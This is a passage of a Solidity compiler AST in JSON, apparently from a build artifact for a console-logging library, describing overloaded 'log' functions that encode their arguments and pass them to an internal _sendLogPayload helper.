view"}},"id":22146,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"53584:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22147,"nodeType":"ExpressionStatement","src":"53584:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"53517:3:14","parameters":{"id":22135,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22128,"mutability":"mutable","name":"p0","nameLocation":"53526:2:14","nodeType":"VariableDeclaration","scope":22149,"src":"53521:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22127,"name":"bool","nodeType":"ElementaryTypeName","src":"53521:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":22130,"mutability":"mutable","name":"p1","nameLocation":"53538:2:14","nodeType":"VariableDeclaration","scope":22149,"src":"53530:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22129,"name":"address","nodeType":"ElementaryTypeName","src":"53530:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22132,"mutability":"mutable","name":"p2","nameLocation":"53547:2:14","nodeType":"VariableDeclaration","scope":22149,"src":"53542:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22131,"name":"bool","nodeType":"ElementaryTypeName","src":"53542:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":22134,"mutability":"mutable","name":"p3","nameLocation":"53556:2:14","nodeType":"VariableDeclaration","scope":22149,"src":"53551:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22133,"name":"bool","nodeType":"ElementaryTypeName","src":"53551:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"53520:39:14"},"returnParameters":{"id":22136,"nodeType":"ParameterList","parameters":[],"src":"53574:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22172,"nodeType":"FunctionDefinition","src":"53684:176:14","nodes":[],"body":{"id":22171,"nodeType":"Block","src":"53753:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c626f6f6c2c6164647265737329","id":22163,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"53803:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_1c41a336759f1c2fe1d8b137296b2dfbdcfe7114fc53f203852c2835c09f8870","typeString":"literal_string \"log(bool,address,bool,address)\""},"value":"log(bool,address,bool,address)"},{"id":22164,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22151,"src":"53837:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":22165,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22153,"src":"53841:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22166,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22155,"src":"53845:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":22167,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22157,"src":"53849:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1c41a336759f1c2fe1d8b137296b2dfbdcfe7114fc53f203852c2835c09f8870","typeString":"literal_string \"log(bool,address,bool,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":22161,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"53779:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22162,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"53783:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"53779:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22168,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"53779:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22160,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"53763:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22169,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"53763:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22170,"nodeType":"ExpressionStatement","src":"53763:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"53693:3:14","parameters":{"id":22158,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22151,"mutability":"mutable","name":"p0","nameLocation":"53702:2:14","nodeType":"VariableDeclaration","scope":22172,"src":"53697:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22150,"name":"bool","nodeType":"ElementaryTypeName","src":"53697:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":22153,"mutability":"mutable","name":"p1","nameLocation":"53714:2:14","nodeType":"VariableDeclaration","scope":22172,"src":"53706:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22152,"name":"address","nodeType":"ElementaryTypeName","src":"53706:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22155,"mutability":"mutable","name":"p2","nameLocation":"53723:2:14","nodeType":"VariableDeclaration","scope":22172,"src":"53718:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22154,"name":"bool","nodeType":"ElementaryTypeName","src":"53718:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":22157,"mutability":"mutable","name":"p3","nameLocation":"53735:2:14","nodeType":"VariableDeclaration","scope":22172,"src":"53727:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22156,"name":"address","nodeType":"ElementaryTypeName","src":"53727:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"53696:42:14"},"returnParameters":{"id":22159,"nodeType":"ParameterList","parameters":[],"src":"53753:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22195,"nodeType":"FunctionDefinition","src":"53866:176:14","nodes":[],"body":{"id":22194,"nodeType":"Block","src":"53935:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c616464726573732c75696e7429","id":22186,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"53985:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_5284bd6c2d02d32d79d43dcd0793be5ced63bf4e51bea38208974f6d8ca5def7","typeString":"literal_string \"log(bool,address,address,uint)\""},"value":"log(bool,address,address,uint)"},{"id":22187,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22174,"src":"54019:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":22188,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22176,"src":"54023:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22189,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22178,"src":"54027:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22190,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22180,"src":"54031:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5284bd6c2d02d32d79d43dcd0793be5ced63bf4e51bea38208974f6d8ca5def7","typeString":"literal_string \"log(bool,address,address,uint)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":22184,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"53961:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22185,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"53965:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"53961:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22191,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"53961:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22183,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"53945:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22192,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"53945:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22193,"nodeType":"ExpressionStatement","src":"53945:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"53875:3:14","parameters":{"id":22181,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22174,"mutability":"mutable","name":"p0","nameLocation":"53884:2:14","nodeType":"VariableDeclaration","scope":22195,"src":"53879:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22173,"name":"bool","nodeType":"ElementaryTypeName","src":"53879:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":22176,"mutability":"mutable","name":"p1","nameLocation":"53896:2:14","nodeType":"VariableDeclaration","scope":22195,"src":"53888:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22175,"name":"address","nodeType":"ElementaryTypeName","src":"53888:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22178,"mutability":"mutable","name":"p2","nameLocation":"53908:2:14","nodeType":"VariableDeclaration","scope":22195,"src":"53900:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22177,"name":"address","nodeType":"ElementaryTypeName","src":"53900:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22180,"mutability":"mutable","name":"p3","nameLocation":"53917:2:14","nodeType":"VariableDeclaration","scope":22195,"src":"53912:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22179,"name":"uint","nodeType":"ElementaryTypeName","src":"53912:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"53878:42:14"},"returnParameters":{"id":22182,"nodeType":"ParameterList","parameters":[],"src":"53935:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22218,"nodeType":"FunctionDefinition","src":"54048:187:14","nodes":[],"body":{"id":22217,"nodeType":"Block","src":"54126:109:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c616464726573732c737472696e6729","id":22209,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"54176:34:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_d812a167fb7ec8cf55a11f06ff411238f0a431de331592d8a735c8c8481f7432","typeString":"literal_string \"log(bool,address,address,string)\""},"value":"log(bool,address,address,string)"},{"id":22210,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22197,"src":"54212:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":22211,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22199,"src":"54216:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22212,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22201,"src":"54220:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22213,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22203,"src":"54224:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d812a167fb7ec8cf55a11f06ff411238f0a431de331592d8a735c8c8481f7432","typeString":"literal_string \"log(bool,address,address,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":22207,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"54152:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22208,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"54156:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"54152:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22214,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"54152:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22206,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"54136:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22215,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"54136:92:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22216,"nodeType":"ExpressionStatement","src":"54136:92:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"54057:3:14","parameters":{"id":22204,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22197,"mutability":"mutable","name":"p0","nameLocation":"54066:2:14","nodeType":"VariableDeclaration","scope":22218,"src":"54061:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22196,"name":"bool","nodeType":"ElementaryTypeName","src":"54061:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":22199,"mutability":"mutable","name":"p1","nameLocation":"54078:2:14","nodeType":"VariableDeclaration","scope":22218,"src":"54070:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22198,"name":"address","nodeType":"ElementaryTypeName","src":"54070:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22201,"mutability":"mutable","name":"p2","nameLocation":"54090:2:14","nodeType":"VariableDeclaration","scope":22218,"src":"54082:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22200,"name":"address","nodeType":"ElementaryTypeName","src":"54082:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22203,"mutability":"mutable","name":"p3","nameLocation":"54108:2:14","nodeType":"VariableDeclaration","scope":22218,"src":"54094:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22202,"name":"string","nodeType":"ElementaryTypeName","src":"54094:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"54060:51:14"},"returnParameters":{"id":22205,"nodeType":"ParameterList","parameters":[],"src":"54126:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22241,"nodeType":"FunctionDefinition","src":"54241:176:14","nodes":[],"body":{"id":22240,"nodeType":"Block","src":"54310:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c616464726573732c626f6f6c29","id":22232,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"54360:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_46600be071bbf2a7e3a3cb4fd0e6efe39e86453e4c4a27c400470867be7afd9e","typeString":"literal_string \"log(bool,address,address,bool)\""},"value":"log(bool,address,address,bool)"},{"id":22233,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22220,"src":"54394:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":22234,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22222,"src":"54398:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22235,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22224,"src":"54402:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22236,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22226,"src":"54406:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_46600be071bbf2a7e3a3cb4fd0e6efe39e86453e4c4a27c400470867be7afd9e","typeString":"literal_string \"log(bool,address,address,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":22230,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"54336:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22231,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"54340:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"54336:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22237,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"54336:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22229,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"54320:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22238,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"54320:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22239,"nodeType":"ExpressionStatement","src":"54320:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"54250:3:14","parameters":{"id":22227,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22220,"mutability":"mutable","name":"p0","nameLocation":"54259:2:14","nodeType":"VariableDeclaration","scope":22241,"src":"54254:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22219,"name":"bool","nodeType":"ElementaryTypeName","src":"54254:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":22222,"mutability":"mutable","name":"p1","nameLocation":"54271:2:14","nodeType":"VariableDeclaration","scope":22241,"src":"54263:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22221,"name":"address","nodeType":"ElementaryTypeName","src":"54263:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22224,"mutability":"mutable","name":"p2","nameLocation":"54283:2:14","nodeType":"VariableDeclaration","scope":22241,"src":"54275:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22223,"name":"address","nodeType":"ElementaryTypeName","src":"54275:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22226,"mutability":"mutable","name":"p3","nameLocation":"54292:2:14","nodeType":"VariableDeclaration","scope":22241,"src":"54287:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22225,"name":"bool","nodeType":"ElementaryTypeName","src":"54287:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"54253:42:14"},"returnParameters":{"id":22228,"nodeType":"ParameterList","parameters":[],"src":"54310:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22264,"nodeType":"FunctionDefinition","src":"54423:182:14","nodes":[],"body":{"id":22263,"nodeType":"Block","src":"54495:110:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c616464726573732c6164647265737329","id":22255,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"54545:35:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_1d14d00189540d88098b9fe614aa8c0efbe231c1a0fee05e7d705c0342377123","typeString":"literal_string \"log(bool,address,address,address)\""},"value":"log(bool,address,address,address)"},{"id":22256,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22243,"src":"54582:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":22257,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22245,"src":"54586:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22258,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22247,"src":"54590:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22259,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22249,"src":"54594:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1d14d00189540d88098b9fe614aa8c0efbe231c1a0fee05e7d705c0342377123","typeString":"literal_string \"log(bool,address,address,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":22253,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"54521:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22254,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"54525:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"54521:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22260,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"54521:76:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22252,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"54505:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22261,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"54505:93:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22262,"nodeType":"ExpressionStatement","src":"54505:93:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"54432:3:14","parameters":{"id":22250,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22243,"mutability":"mutable","name":"p0","nameLocation":"54441:2:14","nodeType":"VariableDeclaration","scope":22264,"src":"54436:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22242,"name":"bool","nodeType":"ElementaryTypeName","src":"54436:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":22245,"mutability":"mutable","name":"p1","nameLocation":"54453:2:14","nodeType":"VariableDeclaration","scope":22264,"src":"54445:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22244,"name":"address","nodeType":"ElementaryTypeName","src":"54445:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22247,"mutability":"mutable","name":"p2","nameLocation":"54465:2:14","nodeType":"VariableDeclaration","scope":22264,"src":"54457:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22246,"name":"address","nodeType":"ElementaryTypeName","src":"54457:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22249,"mutability":"mutable","name":"p3","nameLocation":"54477:2:14","nodeType":"VariableDeclaration","scope":22264,"src":"54469:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22248,"name":"address","nodeType":"ElementaryTypeName","src":"54469:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"54435:45:14"},"returnParameters":{"id":22251,"nodeType":"ParameterList","parameters":[],"src":"54495:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22287,"nodeType":"FunctionDefinition","src":"54611:170:14","nodes":[],"body":{"id":22286,"nodeType":"Block","src":"54677:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e742c75696e742c75696e7429","id":22278,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"54727:29:14","typeDescriptions":{"typeIden